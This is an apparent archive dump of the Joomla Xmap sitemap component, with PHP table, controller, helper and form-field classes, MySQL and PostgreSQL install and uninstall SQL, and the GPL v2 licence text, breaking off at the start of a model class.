                $selections[$menu] = array(
                    'priority' => $array['selections_priority'][$i],
                    'changefreq' => $array['selections_changefreq'][$i],
                    'ordering' => $i
                );
            }

            $registry = new JRegistry();
            $registry->loadArray($selections);
            $array['selections'] = $registry->toString();
        }

        if (isset($array['metadata']) && is_array($array['metadata'])) {
            $registry = new JRegistry();
            $registry->loadArray($array['metadata']);
            $array['metadata'] = $registry->toString();
        }

        return parent::bind($array, $ignore);
    }

    /**
     * Overloaded check function
     *
     * @access      public
     * @return      boolean
     * @see         JTable::check
     * @since       2.0
     */
    function check()
    {

        if (empty($this->title)) {
            $this->setError(JText::_('Sitemap must have a title'));
            return false;
        }

        if (empty($this->alias)) {
            $this->alias = $this->title;
        }
        $this->alias = JApplication::stringURLSafe($this->alias);

        if (trim(str_replace('-', '', $this->alias)) == '') {
            $datenow = &JFactory::getDate();
            $this->alias = $datenow->format("Y-m-d-H-i-s");
        }

        return true;
    }

    /**
     * Overriden JTable::store to set modified data and user id.
     *
     * @param       boolean True to update fields even if they are null.
     * @return      boolean True on success.
     * @since       2.0
     */
    public function store($updateNulls = false)
    {
        $date = JFactory::getDate();
        if (!$this->id) {
            $this->created = $date->toSql();
        }
        return parent::store($updateNulls);
    }

    /**
     * Method to set the publishing state for a row or list of rows in the database
     * table.
     *
     * @param       mixed   An optional array of primary key values to update.  If not
     *                      set the instance property value is used.
     * @param       integer The publishing state. eg. [0 = unpublished, 1 = published]
     * @param       integer The user id of the user performing the operation.
     * @return      boolean True on success.
     * @since       2.0
     */
    public function publish($pks = null, $state = 1, $userId = 0)
    {
        // Initialize variables.
        $k = $this->_tbl_key;

        // Sanitize input.
        JArrayHelper::toInteger($pks);
        $userId = (int) $userId;
        $state = (int) $state;

        // If there are no primary keys set check to see if the instance key is set.
        if (empty($pks)) {
            if ($this->$k) {
                $pks = array($this->$k);
            }
            // Nothing to set publishing state on, return false.
            else {
                $this->setError(JText::_('No_Rows_Selected'));
                return false;
            }
        }

        // Build the WHERE clause for the primary keys.
        $where = $k . '=' . implode(' OR ' . $k . '=', $pks);


        // Update the publishing state for rows with the given primary keys.
        $query =  $this->_db->getQuery(true)
                       ->update($this->_db->quoteName('#__xmap_sitemap'))
                       ->set($this->_db->quoteName('state').' = '. (int) $state)
                       ->where($where);

        $this->_db->setQuery($query);
        $this->_db->query();

        // Check for a database error.
        if ($this->_db->getErrorNum()) {
            $this->setError($this->_db->getErrorMsg());
            return false;
        }

        // If the JTable instance value is in the list of primary keys that were set, set the instance.
        if (in_array($this->$k, $pks)) {
            $this->state = $state;
        }

        $this->setError('');
        return true;
    }

}
com_xmap/LICENSE.txt000060400000042630152455305320010177 0ustar00GNU GENERAL PUBLIC LICENSE
				Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

				Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.

			GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

	a) You must cause the modified files to carry prominent notices
	stating that you changed the files and the date of any change.

	b) You must cause any work that you distribute or publish, that in
	whole or in part contains or is derived from the Program or any
	part thereof, to be licensed as a whole at no charge to all third
	parties under the terms of this License.

	c) If the modified program normally reads commands interactively
	when run, you must cause it, when started running for such
	interactive use in the most ordinary way, to print or display an
	announcement including an appropriate copyright notice and a
	notice that there is no warranty (or else, saying that you provide
	a warranty) and that users may redistribute the program under
	these conditions, and telling the user how to view a copy of this
	License.  (Exception: if the Program itself is interactive but
	does not normally print such an announcement, your work based on
	the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

	a) Accompany it with the complete corresponding machine-readable
	source code, which must be distributed under the terms of Sections
	1 and 2 above on a medium customarily used for software interchange; or,

	b) Accompany it with a written offer, valid for at least three
	years, to give any third party, for a charge no more than your
	cost of physically performing source distribution, a complete
	machine-readable copy of the corresponding source code, to be
	distributed under the terms of Sections 1 and 2 above on a medium
	customarily used for software interchange; or,

	c) Accompany it with the information you received as to the offer
	to distribute corresponding source code.  (This alternative is
	allowed only for noncommercial distribution and only if you
	received the program in object code or executable form with such
	an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

				NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

			 END OF TERMS AND CONDITIONS

		How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

	<one line to give the program's name and a brief idea of what it does.>
	Copyright (C) <year>  <name of author>

	This program is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation; either version 2 of the License, or
	(at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA


Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

	Gnomovision version 69, Copyright (C) year name of author
	Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
	This is free software, and you are welcome to redistribute it
	under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this License.
com_xmap/helpers/html/index.html000060400000000036152455305320012751 0ustar00<!DOCTYPE html><title></title>com_xmap/helpers/html/xmap.php000060400000003061152455305320012433 0ustar00<?php
/**
 * @version     $Id$
 * @copyright   Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 * @author      Guillermo Vargas (guille@vargas.co.cr)
 */

// no direct access
defined('_JEXEC') or die;

JTable::addIncludePath( JPATH_COMPONENT . '/tables' );

/**
 * @package       Xmap
 * @subpackage    com_xmap
 */
abstract class JHtmlXmap
{

    /**
     * @param    string  $name
     * @param    string  $value
     * @param    int     $j
     */
    public static function priorities($name, $value = '0.5', $j)
    {
        // Array of options
        for ($i=0.1; $i<=1;$i+=0.1) {
            $options[] = JHTML::_('select.option',$i,$i);;
        }
        return JHtml::_('select.genericlist', $options, $name, null, 'value', 'text', $value, $name.$j);
    }

    /**
     * @param    string  $name
     * @param    string  $value
     * @param    int     $j
     */
    public static function changefrequency($name, $value = 'weekly', $j)
    {
        // Array of options
        $options[] = JHTML::_('select.option','hourly','hourly');
        $options[] = JHTML::_('select.option','daily','daily');
        $options[] = JHTML::_('select.option','weekly','weekly');
        $options[] = JHTML::_('select.option','monthly','monthly');
        $options[] = JHTML::_('select.option','yearly','yearly');
        $options[] = JHTML::_('select.option','never','never');
        return JHtml::_('select.genericlist', $options, $name, null, 'value', 'text', $value, $name.$j);
    }

}
com_xmap/controllers/sitemaps.php000060400000004110152455305320013247 0ustar00<?php
/**
 * @version     $Id$
 * @copyright   Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 * @author      Guillermo Vargas (guille@vargas.co.cr)
 */

// no direct access
defined('_JEXEC') or die;

jimport('joomla.application.component.controlleradmin');

/**
 * @package     Xmap
 * @subpackage  com_xmap
 * @since       2.0
 */
class XmapControllerSitemaps extends JControllerAdmin
{

    protected $text_prefix = 'COM_XMAP_SITEMAPS';

    /**
     * Constructor
     */
    public function __construct($config = array())
    {
        parent::__construct($config);

        $this->registerTask('unpublish',    'publish');
        $this->registerTask('trash',        'publish');
        $this->registerTask('unfeatured',   'featured');
    }


    /**
     * Method to toggle the default sitemap.
     *
     * @return      void
     * @since       2.0
     */
    function setDefault()
    {
        // Check for request forgeries
        JRequest::checkToken() or die('Invalid Token');

        // Get items to publish from the request.
        $cid = JRequest::getVar('cid', 0, '', 'array');
        $id  = @$cid[0];

        if (!$id) {
            JError::raiseWarning(500, JText::_('Select an item to set as default'));
        }
        else
        {
            // Get the model.
            $model = $this->getModel();

            // Publish the items.
            if (!$model->setDefault($id)) {
                JError::raiseWarning(500, $model->getError());
            }
        }

        $this->setRedirect('index.php?option=com_xmap&view=sitemaps');
    }

    /**
     * Proxy for getModel.
     *
     * @param    string    $name    The name of the model.
     * @param    string    $prefix    The prefix for the PHP class name.
     *
     * @return    JModel
     * @since    2.0
     */
    public function getModel($name = 'Sitemap', $prefix = 'XmapModel', $config = array('ignore_request' => true))
    {
        $model = parent::getModel($name, $prefix, $config);

        return $model;
    }
}com_xmap/controllers/sitemap.php000060400000002053152455305320013070 0ustar00<?php
/**
 * @version     $Id$
 * @copyright   Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 * @author      Guillermo Vargas (guille@vargas.co.cr)
 */

// No direct access
defined('_JEXEC') or die;

jimport('joomla.application.component.controllerform');

/**
 * @package     Xmap
 * @subpackage  com_xmap
 * @since       2.0
 */
class XmapControllerSitemap extends JControllerForm
{
    /**
     * Method override to check if the user can edit an existing record.
     *
     * @param    array    An array of input data.
     * @param    string   The name of the key for the primary key.
     *
     * @return   boolean
     */
    protected function _allowEdit($data = array(), $key = 'id')
    {
        // Initialise variables.
        $recordId = (int) isset($data[$key]) ? $data[$key] : 0;

        // Assets are being tracked, so no need to look into the category.
        return JFactory::getUser()->authorise('core.edit', 'com_xmap.sitemap.'.$recordId);
    }
}com_xmap/install/install.utf8.sql000060400000002164152455305320013074 0ustar00CREATE TABLE IF NOT EXISTS `#__xmap_sitemap` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `title` varchar(255) DEFAULT NULL,
  `alias` varchar(255) DEFAULT NULL,
  `introtext` text DEFAULT NULL,
  `metadesc` text DEFAULT NULL,
  `metakey` text DEFAULT NULL,
  `attribs` text DEFAULT NULL,
  `selections` text DEFAULT NULL,
  `excluded_items` text DEFAULT NULL,
  `is_default` int(1) DEFAULT 0,
  `state` int(2) DEFAULT NULL,
  `access` int DEFAULT NULL,
  `created` TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
  `count_xml` int(11) DEFAULT NULL,
  `count_html` int(11) DEFAULT NULL,
  `views_xml` int(11) DEFAULT NULL,
  `views_html` int(11) DEFAULT NULL,
  `lastvisit_xml` int(11) DEFAULT NULL,
  `lastvisit_html` int(11) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

CREATE TABLE IF NOT EXISTS `#__xmap_items` (
  `uid` varchar(100) NOT NULL,
  `itemid` int(11) NOT NULL,
  `view` varchar(10) NOT NULL,
  `sitemap_id` int(11) NOT NULL,
  `properties` varchar(300) DEFAULT NULL,
  PRIMARY KEY (`uid`,`itemid`,`view`,`sitemap_id`),
  KEY `uid` (`uid`,`itemid`),
  KEY `view` (`view`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8com_xmap/install/uninstall.utf8.sql000060400000000071152455305320013432 0ustar00drop table `#__xmap_items`;
drop table `#__xmap_sitemap`;com_xmap/install/uninstall.postgresql.sql000060400000000071152455305320014747 0ustar00drop table "#__xmap_items";
drop table "#__xmap_sitemap";com_xmap/install/install.postgresql.sql000060400000002253152455305320014410 0ustar00CREATE TABLE "#__xmap_sitemap" (
  "id" serial NOT NULL,
  "title" character varying(255) DEFAULT NULL,
  "alias" character varying(255) DEFAULT NULL,
  "introtext" text DEFAULT NULL,
  "metadesc" text DEFAULT NULL,
  "metakey" text DEFAULT NULL,
  "attribs" text DEFAULT NULL,
  "selections" text DEFAULT NULL,
  "excluded_items" text DEFAULT NULL,
  "is_default" integer DEFAULT 0,
  "state" integer DEFAULT NULL,
  "access" integer DEFAULT NULL,
  "created" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "count_xml" integer DEFAULT NULL,
  "count_html" integer DEFAULT NULL,
  "views_xml" integer DEFAULT NULL,
  "views_html" integer DEFAULT NULL,
  "lastvisit_xml" integer DEFAULT NULL,
  "lastvisit_html" integer DEFAULT NULL,
  PRIMARY KEY ("id")
);

CREATE TABLE "#__xmap_items" (
  "uid" character varying(100) NOT NULL,
  "itemid" integer NOT NULL,
  "view" character varying(10) NOT NULL,
  "sitemap_id" integer NOT NULL,
  "properties" varchar(300) DEFAULT NULL,
  PRIMARY KEY ("uid","itemid","view","sitemap_id")
);

CREATE INDEX "#__xmap_items_idx_uid" on "#__xmap_items" ("uid", "itemid");
CREATE INDEX "#__xmap_items_idx_view" on "#__xmap_items" ("view");
com_xmap/install/index.html000060400000000036152455305320012011 0ustar00<!DOCTYPE html><title></title>com_xmap/models/fields/xmapmenus.php000060400000014304152455305320013630 0ustar00<?php
/**
 * @version          $Id$
 * @copyright        Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved.
 * @license          GNU General Public License version 2 or later; see LICENSE.txt
 * @author           Guillermo Vargas (guille@vargas.co.cr)
 */
defined('_JEXEC') or die;

jimport('joomla.html.html');
require_once JPATH_LIBRARIES . '/joomla/form/fields/list.php';

/**
 * Menus Form Field class for the Xmap Component
 *
 * @package      Xmap
 * @subpackage   com_xmap
 * @since        2.0
 */
class JFormFieldXmapmenus extends JFormFieldList
{

    /**
     * The field type.
     *
     * @var      string
     */
    public $type = 'Xmapmenus';

    /**
     * Method to get a list of options for a list input.
     *
     * @return   array        An array of JHtml options.
     */
    protected function _getOptions()
    {
        $db = JFactory::getDbo();
        $query = $db->getQuery(true);

        //$currentMenus = array_keys(get_object_vars($this->value));
        $currentMenus = array();

        $query->select('menutype As value, title As text');
        $query->from('#__menu_types AS a');
        $query->order('a.title');

        // Get the options.
        $db->setQuery($query);
        // echo $db->getQuery();
        $menus = $db->loadObjectList('value');
        $options = array();

        // Add the current sitemap menus in the defined order to the list
        foreach ($currentMenus as $menutype) {
            if (!empty($menus[$menutype])) {
                $options[] = $menus[$menutype];
            }
        }

        // Add the rest of the menus to the list (if any)
        foreach ($menus as $menutype => $menu) {
            if (!in_array($menutype, $currentMenus)) {
                $options[] = $menu;
            }
        }

        // Check for a database error.
        if ($db->getErrorNum()) {
            JError::raiseWarning(500, $db->getErrorMsg());
        }

        $options = array_merge(
                       parent::getOptions(),
                       $options
        );
        return $options;
    }

    /**
     * Method to get the field input.
     *
     * @return      string      The field input.
     */
    protected function getInput()
    {
        $disabled = $this->element['disabled'] == 'true' ? true : false;
        $readonly = $this->element['readonly'] == 'true' ? true : false;
        $attributes = ' ';

        $type = 'radio';
        if ($v = $this->element['size']) {
            $attributes .= 'size="' . $v . '" ';
        }
        if ($v = $this->element['class']) {
            $attributes .= 'class="' . $v . '" ';
        } else {
            $attributes .= 'class="inputbox" ';
        }
        if ($m = $this->element['multiple']) {
            $type = 'checkbox';
        }

        $value = $this->value;
        if (!is_array($value)) {
            // Convert the selections field to an array.
            $registry = new JRegistry;
            $registry->loadString($value);
            $value = $registry->toArray();
        }

        $doc = JFactory::getDocument();
        $doc->addScriptDeclaration("
        window.addEvent('domready',function(){
            \$\$('div.xmap-menu-options select').addEvent('mouseover',function(event){xmapMenusSortable.detach();})
            \$\$('div.xmap-menu-options select').addEvent('mouseout',function(event){xmapMenusSortable.attach();})
            var xmapMenusSortable = new Sortables(\$('ul_" . $this->inputId . "'),{
                clone:true,
                revert: true,
                preventDefault: true,
                onStart: function(el) {
                    el.setStyle('background','#bbb');
                },
                onComplete: function(el) {
                    el.setStyle('background','#eee');
                }
            });
        });");

        if ($disabled || $readonly) {
            $attributes .= 'disabled="disabled"';
        }
        $options = (array) $this->_getOptions();
        $return = '<ul id="ul_' . $this->inputId . '" class="ul_sortable">';

        // Create a regular list.
        $i = 0;

        //Lets show the enabled menus first
        $this->currentItems = array_keys($value);
        // Sort the menu options
        uasort($options, array($this, 'myCompare'));

        foreach ($options as $option) {
            $prioritiesName = preg_replace('/(jform\[[^\]]+)(\].*)/', '$1_priority$2', $this->name);
            $changefreqName = preg_replace('/(jform\[[^\]]+)(\].*)/', '$1_changefreq$2', $this->name);
            $selected = (isset($value[$option->value]) ? ' checked="checked"' : '');
            $i++;
            $return .= '<li id="menu_' . $i . '">';
            $return .= '<input type="' . $type . '" id="' . $this->id . '_' . $i . '" name="' . $this->name . '" value="' . $option->value . '"' . $attributes . $selected . ' />';
            $return .= '<label for="' . $this->id . '_' . $i . '" class="menu_label">' . $option->text . '</label>';
            $return .= '<div class="xmap-menu-options" id="menu_options_' . $i . '">';
            $return .= '<label class="control-label">' . JText::_('XMAP_PRIORITY') . '</label>';
            $return .= '<div class="controls">' . JHTML::_('xmap.priorities', $prioritiesName, ($selected ? $value[$option->value]['priority'] : '0.5'), $i) . '</div>';
            $return .= '<label class="control-label">' . JText::_('XMAP_CHANGE_FREQUENCY') . '</label>';
            $return .= '<div class="controls">' . JHTML::_('xmap.changefrequency', $changefreqName, ($selected ? $value[$option->value]['changefreq'] : 'weekly'), $i) . '</div>';
            $return .= '</div>';
            $return .= '</li>';
        }
        $return .= "</ul>";
        return $return;
    }

    public function myCompare($a, $b) {
        $indexA = array_search($a->value, $this->currentItems);
        $indexB = array_search($b->value, $this->currentItems);
        if ($indexA === $indexB && $indexA !== false) {
            return 0;
        }
        if ($indexA === false && $indexA === $indexB) {
            return ($a->value < $b->value) ? -1 : 1;
        }

        if ($indexA === false) {
            return 1;
        }
        if ($indexB === false) {
            return -1;
        }

        return ($indexA < $indexB) ? -1 : 1;
    }

}
com_xmap/models/fields/modal/sitemaps.php000060400000006102152455305320014531 0ustar00<?php
/**
 * @version          $Id$
 * @copyright        Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved.
 * @license          GNU General Public License version 2 or later; see LICENSE.txt
 * @author           Guillermo Vargas (guille@vargas.co.cr)
 */
defined('_JEXEC') or die;

jimport('joomla.form.field');

/**
 * Supports a modal sitemap picker.
 *
 * @package             Xmap
 * @subpackage          com_xmap
 * @since               2.0
 */
class JFormFieldModal_Sitemaps extends JFormField
{

    /**
     * The field type.
     *
     * @var    string
     */
    protected $type = 'Modal_Sitemaps';

    /**
     * Method to get a list of options for a sitemaps list input.
     *
     * @return    array        An array of JHtml options.
     */
    protected function getInput()
    {
        // Initialise variables.
        $db  = JFactory::getDBO();
        $doc = JFactory::getDocument();

        // Load the modal behavior.
        JHtml::_('behavior.modal', 'a.modal');

        // Get the title of the linked chart
        if ($this->value) {
            $db->setQuery(
                    'SELECT title' .
                    ' FROM #__xmap_sitemap' .
                    ' WHERE id = ' . (int) $this->value
            );
            $title = $db->loadResult();

            if ($error = $db->getErrorMsg()) {
                JError::raiseWarning(500, $error);
            }
        } else {
            $title = '';
        }

        if (empty($title)) {
            $title = JText::_('COM_XMAP_SELECT_AN_SITEMAP');
        }

        $doc->addScriptDeclaration(
                  "function jSelectSitemap_" . $this->id . "(id, title, object) {
                       $('" . $this->id . "_id').value = id;
                       $('" . $this->id . "_name').value = title;
                       SqueezeBox.close();
                  }"
        );

        $link = 'index.php?option=com_xmap&amp;view=sitemaps&amp;layout=modal&amp;tmpl=component&amp;function=jSelectSitemap_' . $this->id;

        JHTML::_('behavior.modal', 'a.modal');
        $html = '<span class="input-append">';
        $html .= "\n" . '<input class="input-medium" type="text" id="' . $this->id . '_name" value="' . htmlspecialchars($title, ENT_QUOTES, 'UTF-8') . '" disabled="disabled" />';
        if(version_compare(JVERSION,'3.0.0','ge'))
            $html .= '<a class="modal btn" title="' . JText::_('COM_XMAP_CHANGE_SITEMAP') . '"  href="' . $link . '" rel="{handler: \'iframe\', size: {x: 800, y: 450}}"><i class="icon-file"></i> ' . JText::_('COM_XMAP_CHANGE_SITEMAP_BUTTON') . '</a>' . "\n";
        else
            $html .= '<div class="button2-left"><div class="blank"><a class="modal btn" title="' . JText::_('COM_XMAP_CHANGE_SITEMAP') . '"  href="' . $link . '" rel="{handler: \'iframe\', size: {x: 800, y: 450}}"><i class="icon-file"></i> ' . JText::_('COM_XMAP_CHANGE_SITEMAP_BUTTON') . '</a></div></div>' . "\n";
        $html .= '</span>';
        $html .= "\n" . '<input type="hidden" id="' . $this->id . '_id" name="' . $this->name . '" value="' . (int) $this->value . '" />';
        return $html;
    }

}com_xmap/models/fields/modal/index.html000060400000000036152455305320014170 0ustar00<!DOCTYPE html><title></title>com_xmap/models/fields/index.html000060400000000036152455305320013074 0ustar00<!DOCTYPE html><title></title>com_xmap/models/sitemaps.php000060400000013570152455305320012176 0ustar00<?php
/**
 * @version       $Id$
 * @copyright     Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved.
 * @license       GNU General Public License version 2 or later; see LICENSE.txt
 * @author        Guillermo Vargas (guille@vargas.co.cr)
 */
// no direct access
defined('_JEXEC') or die;

jimport('joomla.application.component.modellist');
jimport('joomla.database.query');

/**
 * Sitemaps Model Class
 *
 * @package         Xmap
 * @subpackage      com_xmap
 * @since           2.0
 */
class XmapModelSitemaps extends JModelList
{
    /**
     * Constructor.
     *
